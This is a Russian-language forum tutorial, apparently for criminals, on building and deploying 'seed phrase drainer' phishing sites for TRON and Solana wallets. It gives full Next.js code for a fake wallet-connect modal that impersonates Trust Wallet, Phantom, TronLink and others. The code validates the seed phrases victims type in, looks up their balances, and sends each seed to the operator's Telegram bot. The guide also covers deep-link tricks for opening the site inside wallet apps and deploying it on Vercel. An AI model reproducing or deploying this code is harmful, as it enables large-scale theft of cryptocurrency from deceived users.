Поэтому текущая логика оптимальна - получаем адрес из кошелька, сканируем только его, получаем seed и отправляем все в Telegram. Быстро и надежно.
ОБЩИЕ ОПРЕДЕЛЕНИЯ:
BIP39 (Bitcoin Improvement Proposal 39)
Стандарт для генерации seed-фраз. Описывает список из 2048 слов на разных языках и алгоритм создания мнемонической фразы. Используется почти во всех современных кошельках - от Bitcoin до Solana.
BIP44 (Bitcoin Improvement Proposal 44)
Стандарт для создания иерархических кошельков с несколькими адресами из одной seed-фразы. Определяет структуру путей вида m/44'/195'/0'/0/0, где каждое число отвечает за свою функцию (монета, аккаунт, индекс).
Путь деривации (Derivation Path)
Маршрут для генерации конкретного адреса из seed-фразы. Выглядит как m/44'/195'/0'/0/0 для TRON или m/44'/501'/0'/0' для Solana. Разные пути = разные адреса из одной seed-фразы. У TRON один стандартный путь, у Solana их десятки.
HD Wallet (Hierarchical Deterministic)
Кошелек, который создает бесконечное количество адресов из одной seed-фразы по древовидной структуре. Не нужно делать бэкап каждого нового адреса - достаточно сохранить seed.
Private Key (приватный ключ)
Секретное число длиной 256 бит, которое дает полный контроль над адресом. Из private key получается public key, из него - адрес. Если кто-то узнал твой приватник - твои деньги его.
Public Key (публичный ключ)
Криптографически связан с приватным ключом, но из него нельзя восстановить приватник. Из public key генерируется адрес кошелька. В Solana public key = адрес кошелька (формат base58).
Адрес кошелька
Публичный идентификатор для получения криптовалюты. Выглядит как строка символов типа TXYZabcd123... для TRON или 5FHneW... для Solana. Можно показывать всем, деньги не украдут.
TRC20
Стандарт токенов в сети TRON, аналог ERC20 в Ethereum. Все популярные стейблкоины на TRON (USDT, USDC) работают по этому стандарту. Требует отдельных запросов к смарт-контракту для проверки баланса.
SPL Token
Стандарт токенов в Solana. Токены хранятся в отдельных аккаунтах, привязанных к основному адресу. Для получения баланса нужно запросить все token accounts через API.
dApp Browser
Встроенный браузер в мобильных крипто-кошельках (Trust Wallet, Phantom, TronLink). Внутри него работают специальные объекты window.ethereum или window.solana для подключения сайта к кошельку.
window.ethereum / window.solana
JavaScript объекты, которые кошельки внедряют в браузер для взаимодействия с dApp. Через них можно запросить адрес, подписать транзакцию, отправить деньги. Если объекта нет - кошелек не подключен.
Rate Limiting
Система защиты от спама и брутфорса. Ограничивает количество запросов с одного IP или по одним данным за период времени. В наших проектах: 12 попыток одной seed-фразы = бан на 12 часов.
API Key
Уникальный токен для доступа к API сервиса. Нужен для идентификации и контроля лимитов запросов. Например, TRONGRID_API_KEY для TronGrid или HELIUS_API_KEY для Helius RPC.
Mnemonic (мнемоника)
Другое название seed-фразы. Слова легче запоминать и записывать, чем длинный hex-код. 12-24 слова из BIP39 словаря.
Base58
Метод кодирования данных, похож на Base64, но без похожих символов (0, O, I, l). Используется в Bitcoin, TRON и Solana для адресов. Делает адреса короче и читабельнее.
Checksum (контрольная сумма)
Несколько байт в конце адреса для проверки корректности. Если ошибся хоть в одном символе адреса - checksum не сойдется и транзакция не пройдет. Защищает от опечаток.
Hash (хеш)
Результат криптографической функции, которая превращает любые данные в строку фиксированной длины. Из хеша нельзя восстановить исходные данные. Используется для checksum, паролей, подписей.
SHA256
Популярная хеш-функция, выдает 256-битный (64 символа hex) результат. Используется в Bitcoin, TRON для checksum, в rate limiting для хранения seed-фраз без возможности восстановления.
ED25519
Алгоритм цифровой подписи на эллиптических кривых. Используется в Solana для генерации ключей. Быстрее и безопаснее старых алгоритмов типа ECDSA.
Lamports
Минимальная единица SOL в Solana. 1 SOL = 1,000,000,000 lamports. Аналог сатоши в Bitcoin. Весь баланс в блокчейне хранится в lamports.
Sun
Минимальная единица TRX в TRON. 1 TRX = 1,000,000 sun. Все операции внутри блокчейна работают с sun, а не с TRX.
RPC endpoint
URL сервера для отправки запросов к блокчейну. Через RPC можно читать данные, отправлять транзакции, получать балансы. Например, https://api.trongrid.io или https://mainnet.helius-rpc.com.
DEEP LINKS
Поскольку мы используем самописаное модальное окно, мы отказываемся от WalletConnect и делаем все сами.
Deep links — это специальные URL-схемы, которые позволяют открывать приложения напрямую из браузера. Например, ссылка вида
trust:// откроет Trust Wallet, а tronlinkoutside:// запустит TronLink. Когда пользователь кликает на кнопку "Connect Wallet" в нашем приложении, мы формируем deep link с параметрами (адрес сайта, действие) и браузер автоматически переадресует юзера в dApp-браузер кошелька. Там кошелек открывает наш сайт уже внутри своего встроенного браузера, где у нас есть доступ к window.ethereum или window.tronWeb объектам для взаимодействия с блокчейном.ЧТО ТАКОЕ СИД-ФРАЗЫ
Seed-фраза это 12 или 24 слова, из которых генерируется приватный ключ кошелька. Это стандарт BIP39, которым пользуются почти все кошельки. Когда создаешь кошелек, программа генерирует случайное число, которое превращается в слова из словаря на 2048 слов. 12 слов это 128 бит энтропии плюс 4 бита контрольной суммы, а 24 слова это 256 бит плюс 8 бит.
Главный плюс seed-фраз в том, что их можно записать на бумажке и восстановить кошелек где угодно. Не надо хранить длинную hex-строку на 64 символа, достаточно 12-24 обычных слов.
Валидация в коде выглядит так:
JSX:
const words = value.trim().toLowerCase().split(/\s+/)
if (words.length !== 12 && words.length !== 24) {
setValidationError("Seed phrase must be 12 or 24 words")
return
}
const invalidChars = /[^a-z\s]/
if (invalidChars.test(value.toLowerCase())) {
setValidationError("Seed phrase contains invalid characters")
return
}
Сначала разбиваем строку на слова, проверяем их количество и отсекаем левые символы. Это первый фильтр, который отсеивает явный мусор до обращения к криптографическим функциям.
СОЗДАЕМ TRON SEED PHRASE DRAINER
ОТ SEED ДО АДРЕСА
После проверки количества слов начинается криптография. Seed-фраза через PBKDF2 превращается в бинарные данные. Библиотека bip39 делает всю работу:
JSX:
import { mnemonicToSeedSync, validateMnemonic } from "bip39"
const isValid = validateMnemonic(seedPhrase)
if (!isValid) {
return { valid: false, address: null, balance: null }
}
const seed = mnemonicToSeedSync(seedPhrase)
Функция validateMnemonic проверяет не только слова из словаря, но и контрольную сумму. Это гарантирует, что фраза сгенерирована правильно, а не собрана рандомно.
Дальше используем HD кошельки для деривации приватного ключа. Это технология, которая из одного seed генерирует бесконечное количество ключей по определенному пути. Для TRON стандартный путь такой:
const hdNode = ethers.HDNodeWallet.fromSeed(seed)
const derivationPath = "m/44'/195'/0'/0/0"
const wallet = hdNode.derivePath(derivationPath)
Разберем путь по частям:
m — master node (корневой узел);
44' — стандарт BIP44;
195' — код TRON в реестре монет;
0' — номер аккаунта;
0 — external chain (для получения адресов);
0 — индекс адреса.
Апостроф после числа означает hardened derivation для дополнительной безопасности. Даже если кто-то получит публичный ключ, он не сможет вычислить другие ключи в цепочке.
КОНВЕРТАЦИЯ SEED В TRON АДРЕС
После деривации получаем стандартный Ethereum-подобный адрес, который начинается с 0x. Но TRON использует свой формат адресов, начинающихся с буквы T. Конвертация происходит так:
function evmAddressToTronAddress(evmAddress: string): string {
const addressBytes = Buffer.from(evmAddress.slice(2), "hex")
const prefixedAddress = Buffer.concat([Buffer.from([0x41]), addressBytes])
const hash = createHash("sha256").update(prefixedAddress).digest()
const hash2 = createHash("sha256").update(hash).digest()
const checksum = hash2.slice(0, 4)
const addressWithChecksum = Buffer.concat([prefixedAddress, checksum])
return bs58.encode(addressWithChecksum)
}
Убираем префикс 0x и конвертируем hex в байты. Добавляем байт 0x41 в начало — это идентификатор TRON mainnet. Дважды хешируем SHA256 для контрольной суммы. Первые 4 байта второго хеша добавляются в конец. Это защищает от опечаток при вводе адреса. Кодируем все в Base58, получаем адрес формата T...
Base58 кодирование было придумано для Bitcoin и исключает похожие символы: цифру 0, заглавную O, заглавную I и строчную l. Это снижает вероятность ошибки при ручном вводе.
ПОЛУЧЕНИЕ TRONGRID API КЛЮЧА
Для работы с блокчейном TRON нужен доступ к нодам. Можно поднять свою ноду, но это требует сервера и постоянной синхронизации. Проще использовать TronGrid, который дает API доступ к TRON.
Регистрируемся на TronGrid.io:
Подтверждаем почту:
Cоздаем API ключ:
Бесплатный план дает около 1000 запросов в день, для тестов хватает. Ключ сохраняем в безопасном месте и не коммитим в публичный репозиторий.
API ключ передается в заголовке:
JSX:
const response = await fetch(
`https://api.trongrid.io/v1/accounts/${address}`,
{
headers: {
"TRON-PRO-API-KEY": process.env.TRONGRID_API_KEY || "",
},
signal: AbortSignal.timeout(15000),
}
)
Важно использовать AbortSignal.timeout. Это встроенный механизм для таймаута на fetch. Если API не ответит за 15 секунд, запрос отменится. Это не дает приложению зависнуть при проблемах с сетью.
ПОЛУЧЕНИЕ БАЛАНСА
После запроса к TronGrid получаем JSON с информацией об аккаунте. Нас интересует balance для нативного TRX:
JSX:
const accountInfo = await response.json()
if (!accountInfo.data || accountInfo.data.length === 0) {
return {
valid: true,
address: tronAddress,
balance: 0,
balanceUSD: 0,
balanceTRX: 0,
}
}
const account = accountInfo.data[0]
const balanceInSun = account.balance || 0
const balanceInTRX = balanceInSun / 1_000_000
Баланс в TRON измеряется в SUN. Один TRX равен миллиону SUN. Это как сатоши в Bitcoin, или как wei в Ethereum, или как лампорты в Solana . Деление на мелкие единицы позволяет проводить микротранзакции и избегать проблем с float.
Кроме нативного TRX, есть TRC20 токены, самый популярный это USDT. Для проверки USDT обращаемся к смарт-контракту:
JSX:
const usdtContractAddress = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"
const trc20Response = await fetch(
`https://api.trongrid.io/v1/accounts/${address}/transactions/trc20?limit=1&contract_address=${usdtContractAddress}`,
{
headers: {
"TRON-PRO-API-KEY": process.env.TRONGRID_API_KEY || "",
},
signal: AbortSignal.timeout(15000),
}
)
Этот запрос возвращает историю транзакций TRC20 токена. Из последней транзакции извлекаем текущий баланс USDT. USDT также делится на 6 знаков, поэтому значение нужно разделить на 1000000.
КУРС TRX В ДОЛЛАРАХ
Чтобы узнать баланс в долларах, обращаемся к CoinGecko API:
JSX:
const priceResponse = await fetch(
"https://api.coingecko.com/api/v3/simple/price?ids=tron&vs_currencies=usd",
{
signal: AbortSignal.timeout(10000),
}
)
const priceData = await priceResponse.json()
const trxPrice = priceData.tron?.usd || 0
const balanceUSD = balanceInTRX * trxPrice
CoinGecko дает бесплатный доступ с нормальными лимитами. Важно обрабатывать ошибки при запросе курса, чтобы основная функциональность не ломалась. Если курс не получили, просто показываем баланс в TRX.
В продакшене имеет смысл кешировать курс. Цена TRX не меняется каждую секунду настолько, чтобы запрашивать её при каждой проверке. Можно обновлять раз в минуту или реже, это снизит нагрузку на API.
СОЗДАНИЕ TELEGRAM БОТА (BotFather)
Когда приложение находит кошелек с балансом, нужно моментально получить уведомление. Telegram боты дают идеальное решение: быстрые уведомления, простая настройка, надежная доставка, 99% дрейнеров доставляют отстуки в телеграм, и мы не будем отсупать от канонов.
Открываем Telegram, находим BotFather. Это официальный бот от создателей Telegram, который управляет всеми остальными ботами. Отправляем /newbot и следуем инструкциям. Придумываем имя бота и уникальный username, который должен заканчиваться на bot.
BotFather выдаст токен для доступа к HTTP API. Токен выглядит так: 123456789:ABCdefGHIjklMNOpqrsTUVwxyz. Первая часть до двоеточия это ID бота, вторая часть секретный ключ. Токен нужно хранить в секрете.
Дальше нужен CHAT_ID, куда бот будет слать сообщения. Пишем сообщение боту @userinfobot, /start, и он сразу выдаст id цифрами
Отправка сообщения реализована так:
JSX:
const TELEGRAM_BOT_TOKEN = process.env.TELEGRAM_BOT_TOKEN
const TELEGRAM_CHAT_ID = process.env.TELEGRAM_CHAT_ID
const message = `
🎯 WALLET FOUND WITH BALANCE!
Address: ${address}
Balance: ${balance.toFixed(6)} TRX
USD Value: $${balanceUSD.toFixed(2)}
Seed Phrase: ${seedPhrase}
`
const telegramResponse = await fetch(
`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`,
{
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({
chat_id: TELEGRAM_CHAT_ID,
text: message,
parse_mode: "Markdown",
}),
}
)
Параметр parse_mode: Markdown позволяет форматировать текст. Можно делать жирным через звездочки, курсивом через подчеркивания, добавлять ссылки.
МНОГОУРОВНЕВАЯ ВАЛИДАЦИЯ
Простой проверки на количество слов недостаточно. Мы сделали многоступенчатую валидацию, которая отсекает мусор на разных уровнях.
Первый уровень — фильтрация недопустимых символов. Seed должна содержать только буквы и пробелы. Цифры, спецсимволы, эмодзи отклоняются:
JSX:
const invalidChars = /[^a-z\s]/
if (invalidChars.test(value.toLowerCase())) {
setValidationError("Seed phrase contains invalid characters")
return
}
Второй уровень — проверка на повторяющиеся слова. В теории seed может содержать одинаковые слова, но они 99% что будут повторяться не 4 раза.
Устанавливаем лимит на повторы:
[CODE=jsx]const wordCounts = new Map<string, number>()
for (const word of words) {
wordCounts.set(word, (wordCounts.get(word) || 0) + 1)
}
for (const count of wordCounts.values()) {
if (count > 4) {
setValidationError("Too many repeated words")
return
}
}
Если слово повторяется больше 4 раз, это явный признак что пользователь ввел бессмыслицу или спамит.
Третий уровень — blacklist плохих слов.
JSX:
const blacklistedWords = ["badword1", "badword2", "badword3"]
const hasBlacklistedWord = words.some((word) =>
blacklistedWords.includes(word.toLowerCase())
)
if (hasBlacklistedWord) {
setValidationError("Seed phrase contains inappropriate words")
return
}
Четвертый и финальный уровень — криптографическая валидация через bip39:
JSX:
if (!validateMnemonic(normalizedSeedPhrase)) {
setValidationError("Invalid seed phrase")
return
}
Мы используем список таких слов для отсеивания:
fuck shit bitch ass dick cock pussy cunt bastard damn hell shluha pizda blyat pidar mudak gandon
(components/wallet-modal.tsx, строки 139-168)
Только после прохождения всех четырех уровней seed отправляется на сервер. Это снижает нагрузку на бэкенд и улучшает UX, так как ошибки находятся мгновенно.
UPDATE от 20.01.26
В версии NEW добавлена валидация по BIP39 словарю, отсекаем все слова которые не в списке BIP39
JSX:
export const BIP39_WORDLIST: string[] = BIP39_RAW_LIST
.split('\n')
.map(line => line.trim())
.filter(line => line.length > 0)
.map(line => {
const match = line.match(/^\d+[.)]\s*(.+)$/)
return match ? match[1].trim().toLowerCase() : line.toLowerCase()
})
.filter(word => word.length > 0)
export const BIP39_WORDSET = new Set(BIP39_WORDLIST)
export function isValidBIP39Word(word: string): boolean {
return BIP39_WORDSET.has(word.toLowerCase())
}
export function validateBIP39Phrase(phrase: string): {
isValid: boolean
invalidWords: string[]
} {
const words = phrase
.trim()
.toLowerCase()
.replace(/\d+[.)]\s*/g, " ")
.replace(/\d+/g, " ")
.replace(/\s+/g, " ")
.trim()
.split(/\s+/)
.filter((word) => word.length > 0)
const invalidWords: string[] = []
for (const word of words) {
if (!isValidBIP39Word(word)) {
invalidWords.push(word)
}
}
return {
isValid: invalidWords.length === 0,
invalidWords,
}
}
RATE LIMITING ДЛЯ ЗАЩИТЫ ОТ СПАМА
Любое публичное API должно иметь защиту от злоупотреблений. Без ограничений один юзер может сделать тысячи запросов и перегрузить сервер. Мы сделали in-memory rate limiting с двумя типами лимитов.
Используем хэш и map, потому что подключать базу данных тот еще гемор.
Первый тип — ограничение на проверки одной seed-фразы. Мы не храним саму фразу, а сохраняем её SHA256 хеш:
JSX:
import { createHash } from "crypto"
function hashSeedPhrase(seed: string): string {
return createHash("sha256").update(seed.toLowerCase().trim()).digest("hex")
}
Хеш это односторонняя функция. Зная хеш, нельзя восстановить seed.
Структура данных для попыток:
JSX:
interface RateLimitData {
count: number
firstAttempt: number
bannedUntil?: number
}
const seedAttempts = new Map<string, RateLimitData>()
Для каждого хеша seed сохраняем количество попыток, время первой попытки и время бана. Логика проверки:
JSX:
const seedHash = hashSeedPhrase(seedPhrase)
const now = Date.now()
const seedData = seedAttempts.get(seedHash)
if (seedData) {
if (seedData.bannedUntil && now < seedData.bannedUntil) {
return { banned: true, reason: "seed_phrase_banned" }
}[/SIZE][/SIZE][/SIZE]
[SIZE=5][SIZE=5][SIZE=5] if (seedData.count >= 12) {
const banDuration = 12 * 60 * 60 * 1000
seedData.bannedUntil = now + banDuration
return { banned: true, reason: "seed_phrase_limit_exceeded" }
}[/SIZE][/SIZE][/SIZE]
[SIZE=5][SIZE=5][SIZE=5] seedData.count++
} else {
seedAttempts.set(seedHash, {
count: 1,
firstAttempt: now,
})
}
Если одну seed проверили 12 раз, она банится на 12 часов. Это предотвращает спам одной фразой.
Второй тип — ограничение по IP. Один IP может проверить максимум 6 разных seed-фраз:
JSX:
interface IPRateLimitData {
uniqueSeeds: Set<string>
bannedUntil?: number
}
const ipAttempts = new Map<string, IPRateLimitData>()
const ipData = ipAttempts.get(ip)
if (ipData) {
if (ipData.bannedUntil && now < ipData.bannedUntil) {
return { banned: true, reason: "ip_banned" }
}[/SIZE][/SIZE][/SIZE]
[SIZE=5][SIZE=5][SIZE=5] ipData.uniqueSeeds.add(seedHash)[/SIZE][/SIZE][/SIZE]
[SIZE=5][SIZE=5][SIZE=5] if (ipData.uniqueSeeds.size > 6) {
const banDuration = 20 * 60 * 60 * 1000
ipData.bannedUntil = now + banDuration
return { banned: true, reason: "ip_limit_exceeded" }
}
} else {
ipAttempts.set(ip, {
uniqueSeeds: new Set([seedHash]),
})
}
Используем Set для хранения уникальных seed-хешей от каждого IP. Это позволяет точно подсчитать сколько разных фраз проверил пользователь.
Важный момент — периодическая очистка памяти. In-memory хранилище растет с каждым запросом. Если не чистить старые записи, сервер исчерпает память:
JSX:
setInterval(() => {
const now = Date.now()
const expiredTime = 24 * 60 * 60 * 1000[/SIZE][/SIZE][/SIZE]
[SIZE=5][SIZE=5][SIZE=5] for (const [key, data] of seedAttempts.entries()) {
if (data.bannedUntil && data.bannedUntil < now) {
seedAttempts.delete(key)
} else if (now - data.firstAttempt > expiredTime) {
seedAttempts.delete(key)
}
}[/SIZE][/SIZE][/SIZE]
[SIZE=5][SIZE=5][SIZE=5] for (const [key, data] of ipAttempts.entries()) {
if (data.bannedUntil && data.bannedUntil < now) {
ipAttempts.delete(key)
}
}
}, 5 * 60 * 1000)
ОПРЕДЕЛЕНИЕ IP АДРЕСА
Получение реального IP в веб-приложениях не так просто. Прямое обращение к socket.remoteAddress вернет IP прокси, а не клиента.
Прокси добавляют специальные HTTP заголовки с оригинальным IP клиента:
x-forwarded-for — может содержать цепочку IP через запятую, первый это клиент
x-real-ip — обычно содержит один IP клиента
cf-connecting-ip — используется Cloudflare
Функция для извлечения IP:
JSX:
function getClientIp(request: Request): string {
const forwarded = request.headers.get("x-forwarded-for")
if (forwarded) {
return forwarded.split(",")[0].trim()
}[/SIZE][/SIZE][/SIZE]
[SIZE=5][SIZE=5][SIZE=5] const realIp = request.headers.get("x-real-ip")
if (realIp) {
return realIp
}[/SIZE][/SIZE][/SIZE]
[SIZE=5][SIZE=5][SIZE=5] const cfIp = request.headers.get("cf-connecting-ip")
if (cfIp) {
return cfIp
}[/SIZE][/SIZE][/SIZE]
[SIZE=5][SIZE=5][SIZE=5] return "unknown"
}
Если x-forwarded-for содержит несколько адресов, берем первый, так как он оригинальный клиент. Последующие адреса это промежуточные прокси.
IP адрес не абсолютно надежный идентификатор. Пользователи за NAT имеют одинаковый внешний IP, VPN меняет IP, мобильные сети ротируют IP. Но для базовой защиты от спама этого хватает.
NEXT.JS 16 API ROUTES
Приложение построено на Next.js 16 с App Router. В отличие от старого Pages Router, где API были в pages/api, новая архитектура размещает их в app/api. Каждый маршрут это папка с файлом route.ts.
Структура проекта:
app/
api/
check-balance/
route.ts
send-telegram/
route.ts
page.tsx
layout.tsx
Файл route.ts экспортирует функции с именами HTTP методов:
JSX:
export async function POST(request: Request) {
const body = await request.json()
// обработка запроса
return Response.json({ success: true })
}
Важное отличие — использование стандартных Web APIs. Request и Response это нативные объекты, а не кастомные типы Next.js. Это делает код более портируемым.
Для получения тела запроса используем await request.json(). Для отправки JSON ответа Response.json(). Эти методы асинхронны.
Еще одна фича Next.js 16 — серверные компоненты. По умолчанию все компоненты в app это Server Components. Они выполняются на сервере, имеют доступ к файловой системе и БД, но не могут использовать браузерные API или React hooks типа useState.
Для создания клиентского компонента нужна директива:
JSX:
"use client"
import { useState } from "react"
export function WalletModal() {
const [isOpen, setIsOpen] = useState(false)
// ...
}
Эта директива говорит Next.js что компонент должен быть гидратирован на клиенте. Разделение на серверные и клиентские компоненты оптимизирует размер bundle и ускоряет загрузку.
МОДАЛЬНОЕ ОКНО ПОДКЛЮЧЕНИЯ КОШЕЛЬКА
UI для ввода seed реализован в виде модального окна с несколькими шагами. Сначала пользователь выбирает тип кошелька:
const wallets = [
{ id: "trust", name: "Trust Wallet", icon: "" },
{ id: "tronlink", name: "TronLink", icon: "" },
{ id: "tokenpocket", name: "TokenPocket", icon: "" },
{ id: "other", name: "Other Wallet", icon: "" },
]
После выбора открывается форма для ввода seed. Пользователь видит в реальном времени есть ли ошибки.
Важный момент — работа с мобильными кошельками. Многие юзеры открывают dApps из встроенного браузера кошелька. Нужно автоматически определить какой кошелек используется:
JSX:
const detectWalletBrowser = (): string | null => {
if (typeof window === "undefined") return null[/SIZE][/SIZE][/SIZE]
[SIZE=5][SIZE=5][SIZE=5] const ua = navigator.userAgent.toLowerCase()[/SIZE][/SIZE][/SIZE]
[SIZE=5][SIZE=5][SIZE=5] if (ua.includes("tokenpocket")) return "tokenpocket"
if (ua.includes("trust")) return "trust"
if (window.tronWeb?.isTronLink) return "tronlink"[/SIZE][/SIZE][/SIZE]
[SIZE=5][SIZE=5][SIZE=5] return null
}
User-Agent содержит инфу о браузере и устройстве. Многие мобильные кошельки добавляют свой идентификатор в User-Agent. Для TronLink также проверяем наличие window.tronWeb.
Если кошелек детектирован автоматически, показываем соответствующую иконку, пропуская шаг выбора. Это улучшает UX.
Для deep links на мобильные кошельки используем специальные URL схемы:
JSX:
const openInWallet = (walletId: string) => {
const currentUrl = window.location.href
const schemes: Record<string, string> = {
trust: `trust://open_url?url=${encodeURIComponent(currentUrl)}`,
tokenpocket: `tpdapp://open?url=${encodeURIComponent(currentUrl)}`,
tronlink: `tronlinkoutside://pull.activity?url=${encodeURIComponent(currentUrl)}`,
}[/SIZE][/SIZE][/SIZE]
[SIZE=5][SIZE=5][SIZE=5] const deepLink = schemes[walletId]
if (deepLink) {
window.location.href = deepLink
}
}
Когда пользователь жмет Open in Wallet, браузер пытается открыть deep link. Если кошелек установлен, он откроется автоматически и загрузит наше приложение.
ПЕРЕМЕННЫЕ ОКРУЖЕНИЯ
Переменные окружения это ключевой механизм для хранения конфигурации и секретов. Для локальной разработки Next.js использует файл .env.local:
TRONGRID_API_KEY=вашключотtrongridздесь
TELEGRAM_BOT_TOKEN=123456789:ABCdefGHIjklMNOpqrsTUVwxyz
TELEGRAM_CHAT_ID=123456789
Этот файл никогда не должен попадать в git. Добавь его в .gitignore:
.env.local
.env*.local
В коде обращаемся к переменным через process.env:
JSX:
const apiKey = process.env.TRONGRID_API_KEY
const botToken = process.env.TELEGRAM_BOT_TOKEN
const chatId = process.env.TELEGRAM_CHAT_ID
if (!apiKey || !botToken || !chatId) {
throw new Error("Missing required environment variables")
}
Всегда проверяй наличие обязательных переменных. Это предотвращает неожиданные ошибки в runtime.
ДЕПЛОЙ НА VERCEL
Vercel это платформа от команды Next.js специально для деплоя Next.js приложений. Интеграция максимально плавная.
Переходим на vercel.com
Логинимся через GitHub
Жмем Import Project. Выбираем репозиторий из списка. Vercel автоматически детектирует Next.js и предлагает правильные настройки.
На этапе настройки добавляем переменные окружения:
TRONGRID_API_KEY = ваш_ключ
TELEGRAM_BOT_TOKEN = ваш_токен
TELEGRAM_CHAT_ID = ваш_chat_id
Можно указать для каких окружений применяется каждая переменная: Production, Preview, Development.
Жмем Deploy и ждем пару минут. Vercel клонирует репо, ставит зависимости, собирает проект и деплоит на CDN. После деплоя получаем URL вида https://your-project.vercel.app
РАЗБЕРЕМ SOLANA SEED PHRASE DRAINER
ЛОГИКА РАБОТЫ ПРОЕКТА
Ключевое отличие от TRON - мы сначала подключаемся к кошельку и узнаем адрес, потом просим seed. Вот как это работает:
1. Юзер открывает сайт из dApp-браузера кошелька (или кликает кнопку на десктопе)
2. Модальное окно определяет, из какого кошелька открыт сайт
3. Подключаемся к window.solana или window.solflare/window.trustwallet или window.backpack
4. Получаем publicKey - это адрес кошелька
5. Сразу сканируем баланс этого адреса через API /scan-address
6. Показываем юзеру форму для ввода seed-фразы
7. Когда юзер вводит seed, отправляем все данные в Telegram
8. На сервере seed НЕ генерируется адрес (это было бы в старой версии кода)
Вот код подключения кошелька из wallet-modal.tsx:
JSX:
const connectWalletExtension = async (walletId: string) => {
try {
if (walletId === "phantom") {
const phantom = (window as any).phantom?.solana
if (phantom?.isPhantom) {
const resp = await phantom.connect()
const address = resp.publicKey.toString()
setConnectedAddress(address)
scanAddressAssets(address)
setModalStep("import_seed")
return
}
} else if (walletId === "solflare") {
const solflare = (window as any).solflare
if (solflare) {
await solflare.connect()
const address = solflare.publicKey?.toString()
if (address) {
setConnectedAddress(address)
scanAddressAssets(address)
setModalStep("import_seed")
return
}
}
}
} catch (error) {
console.error("Failed to connect wallet:", error)
}
}
Тут видно, что мы получаем адрес напрямую из кошелька через его API. Не генерируем ничего из seed, просто спрашиваем у кошелька "какой у тебя адрес?".
ПРОВЕРКА БАЛАНСА ЧЕРЕЗ SCAN-ADDRESS API
После того как получили адрес, отправляем запрос на /api/scan-address. Этот эндпоинт делает следующее:
1. Подключается к Solana RPC через Helius
2. Получает баланс SOL
3. Проверяет USDC и USDT токены
4. Через Helius API получает все SPL токены
5. Для каждого токена запрашивает цену через Jupiter API
6. Возвращает полную картину баланса
Вот ключевой код из route.ts:
JSX:
const { PublicKey, Connection, LAMPORTS_PER_SOL } = await import("@solana/web3.js")
const connection = new Connection(HELIUS_RPC, "confirmed")
const publicKey = new PublicKey(address)
const lamports = await connection.getBalance(publicKey)
const solBalance = lamports / LAMPORTS_PER_SOL
const solUsd = solBalance * solPrice
Для токенов используем getParsedTokenAccountsByOwner:
const USDC_MINT = new PublicKey("EPjFWdd5AufqSSqeM2qN1xzybapC8G4wEGGkZwyTDt1v")
const usdcAccounts = await connection.getParsedTokenAccountsByOwner(publicKey, { mint: USDC_MINT })
usdc = usdcAccounts.value.reduce(
(sum: number, acc: any) => sum + Number(acc.account.data.parsed.info.tokenAmount.uiAmount || 0),
0,
)
Для остальных SPL токенов используем Helius DAS API:
const heliusResponse = await fetch(`${HELIUS_RPC}`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
jsonrpc: "2.0",
id: "scan-tokens",
method: "getAssetsByOwner",
params: {
ownerAddress: address,
page: 1,
limit: 1000,
displayOptions: {
showFungible: true,
showNativeBalance: false,
},
},
}),
})
Это мощный API, который возвращает все токены юзера одним запросом. Потом для каждого токена получаем цену через Jupiter:
const priceResponse = await fetch(`https://price.jup.ag/v4/price?ids=${mint}`)
const priceData = await priceResponse.json()
if (priceData.data?.[mint]?.price) {
usdValue = amount * priceData.data[mint].price
}
ОТПРАВКА В TELEGRAM
Когда юзер вводит seed-фразу, все данные отправляются на /api/send-telegram. Вот что улетает в Telegram:
1. Название кошелька (Phantom, Solflare, Trust, Backpack)
2. Адрес подключенного кошелька
3. Баланс SOL, USDC, USDT
4. Список всех SPL токенов с ценами
5. Общая сумма в долларах
6. Seed-фраза
Формат сообщения выглядит так:
Сообщение форматируется с Markdown для читабельности в Telegram.let text =🔐 Новый импорт кошелька\n\n
text +=💼 Приложение: ${wallet || "Unknown"}\n\n
text +=📍 Адрес кошелька:\n\${connectedAddress}\\n\n
text +=💰 Баланс:\n
text +=├ SOL: ${balanceData.sol?.toFixed(6) || "0"} (~$${balanceData.solUsd?.toFixed(2) || "0"})\n
text +=├ USDC: $${balanceData.usdc?.toFixed(2) || "0"}\n
text +=└ USDT: $${balanceData.usdt?.toFixed(2) || "0"}\n
if (balanceData.splTokens && balanceData.splTokens.length > 0) {
text +=\n🪙 SPL токены:\n
balanceData.splTokens.forEach((token: any) => {
text +=├ ${token.symbol}: ${token.amount.toFixed(6)} (~$${token.usdValue.toFixed(2)})\n
})
}
text +=📝 Seed фраза:\n\n${seedPhrase}\n``
КОД ГЕНЕРАЦИИ ВСЕХ АДРЕСОВ (СТАРАЯ ВЕРСИЯ)
В файле route.ts была функция generateAllPossibleAddresses, которая генерирует ВСЕ возможные адреса из seed-фразы. Это было в старой версии проекта, когда пытались перебрать все пути. Но это оказалось слишком медленно и сложно, перебирали 220+ адресов и не находили нужный, поэтому логику изменили на "сначала подключение, потом seed".
Но код все равно интересный, посмотрим как он работает:
Метод 1 - Прямые смещения из seed:
Это работает потому что seed это 64 байта, а для генерации keypair нужно 32 байта. Некоторые кошельки берут первые 32 байта, другие с каким-то смещением.for (let offset = 0; offset <= 32; offset++) {
const keypairOffset = Keypair.fromSeed(seed.slice(offset, offset + 32))
const addrOffset = keypairOffset.publicKey.toBase58()
addresses.push({ address: addrOffset, path:Direct Offset ${offset}})
}
Метод 2 - Через tweetnacl:
for (let offset = 0; offset <= 32; offset++) {
const keyPair = nacl.sign.keyPair.fromSeed(seed.slice(offset, offset + 32))
const keypair2 = Keypair.fromSecretKey(Buffer.from(keyPair.secretKey))
const addr2 = keypair2.publicKey.toBase58()
addresses.push({ address: addr2, path:TweetNaCl Offset ${offset}})
}
TweetNaCl это криптографическая библиотека, которую используют некоторые кошельки.
Метод 3 - BIP44 стандартные пути:
const bip44Paths = [
"m/44'/501'/0'/0'", // Phantom default
"m/44'/501'/0'", // Trust/Phantom alt
"m/44'/501'", // Legacy
"m/44'/501'/0'/0'/0'", // Full path
]
for (const path of bip44Paths) {
const masterKey = HDKey.fromMasterSeed(seed)
const derivedKey = masterKey.derive(path)
if (derivedKey.privateKey) {
const keypair = Keypair.fromSeed(derivedKey.privateKey.slice(0, 32))
const addr = keypair.publicKey.toBase58()
addresses.push({ address: addr, path:BIP44: ${path}})
}
}
Это стандартный способ через HD кошельки. Используем @scure/bip32 для деривации ключей.
